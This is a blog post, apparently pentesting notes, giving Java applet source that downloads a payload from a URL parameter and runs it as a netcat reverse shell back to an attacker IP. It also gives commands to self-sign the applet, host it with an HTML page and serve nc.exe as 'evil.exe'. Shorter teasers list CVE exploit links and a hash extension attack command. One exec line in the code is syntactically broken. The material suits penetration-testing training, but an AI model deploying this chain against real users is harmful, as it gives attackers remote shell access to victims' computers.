Skip to main content

Download a file onto Victim Machine using Java Applet and Sign the Applet

This is the java code to download 

 import java.applet.*;  
 import java.awt.*;  
 import java.io.*;  
 import java.net.URL;  
 import java.util.*;  
 import java.net.URL;  
 /**  
 *     Author: Offensive Security  
 *     This Java applet will download a file and execute it.  
 **/  
 public class Java extends Applet {  
      private Object initialized = null;  
      public Object isInitialized()  
      {  
           return initialized;  
      }  
      public void init() {  
      Process f;  
      try {  
      String tmpdir = System.getProperty("java.io.tmpdir") + File.separator;  
      String expath = tmpdir + "evil.exe";  
      String download = "";  
      download = getParameter("1");  
      if (download.length() > 0) {  
           // URL parameter  
           URL url = new URL(download);  
           // Get an input stream for reading  
           InputStream in = url.openStream();  
           // Create a buffered input stream for efficency  
           BufferedInputStream bufIn = new BufferedInputStream(in);  
            File outputFile = new File(expath);  
            OutputStream out = new BufferedOutputStream(new FileOutputStream(outputFile));  
            byte[] buffer = new byte[2048];  
           for (;;) {  
            int nBytes = bufIn.read(buffer);  
                if (nBytes <= 0) break;  
                 out.write(buffer, 0, nBytes);  
                  }  
                  out.flush();  
            out.close();  
                  in.close();  
                  f = Runtime.getRuntime().exec("cmd.exe /c " + expath " KALI_IP 443 -e cmd.exe");  
            }  
      } catch(IOException e) {  
        e.printStackTrace();  
      }  
      /* ended here and commented out below for bypass */  
      catch (Exception exception)  
      {  
           exception.printStackTrace();  
      }  
 }  
 }  


Run the following Commands to Sign the Applet

javac Java.java 
echo “Permissions: all-permissions” > manifest.txt
jar cvf Java.jar Java.class
keytool -genkey -alias signapplet -keystore mykeystore -keypass mykeypass -storepass password123
jarsigner -keystore mykeystore -storepass password123 -keypass password123 -signedjar SignedJava.jar Java.jar signapplet
cp Java.class SignedJava.jar /var/www/html/
echo '<applet width="1" height="1" id="Java Secure" code="Java.class" archive="SignedJava.jar"><param name="1"
value="http://10.11.0.5:80/evil.exe"></applet>' > /var/www/html/java.html
cp /usr/share/windows-binaries/nc.exe /var/www/html/evil.exe


Access the KALI_IP on target machine.. thats it :)
you get a reverse shell

Comments

Popular posts from this blog

POC Links for CVE's

  Serach for a CVE here first - Trickest/cve Apache CVE-2024-38475 - CVE-2024-38475 #version less than 2.4.51 CVE-2021-44790 - h ttps://www.exploit-db.com/exploits/51193 #Apache HTTP Server 2.4.50 CVE-2021-42013 - https://www.exploit-db.com/exploits/50406 use https://github.com/mrmtwoj/apache-vulnerability-testing for below CVE's CVE-2024-38472: Apache HTTP Server on Windows UNC SSRF CVE-2024-39573: mod_rewrite proxy handler substitution CVE-2024-38477: Crash resulting in Denial of Service in mod_proxy CVE-2024-38476: Exploitable backend application output causing internal redirects CVE-2024-38475: mod_rewrite weakness with filesystem path matching CVE-2024-38474: Weakness with encoded question marks in backreferences CVE-2024-38473: mod_proxy proxy encoding problem CVE-2023-38709: HTTP response splitting EXIM #suppodily should work for versions below Exim 4.96.1 - is not accurate CVE-2023-42115 - https://github.com/AdaHop-Cyber-Security/Pocy/tree/main

Hash Extension Attacks

  #Install Dependencies sudo apt-get install libssl-dev #Download Hash Extender git clone https://github.com/iagox86/hash_extender.git cd hash_extender make #Run it /hash_extender --data 'username=admin' --secret 16 --append '&isLoggedIn=True' --signature d3a85d3b3087c7e841f84eb4316765c6e1f786074a1f1db996b2e0f8c96f197e2f55433920a630feb07daafadefbc13c947e5225fc509f8241f57f47a8df5311 --format sha512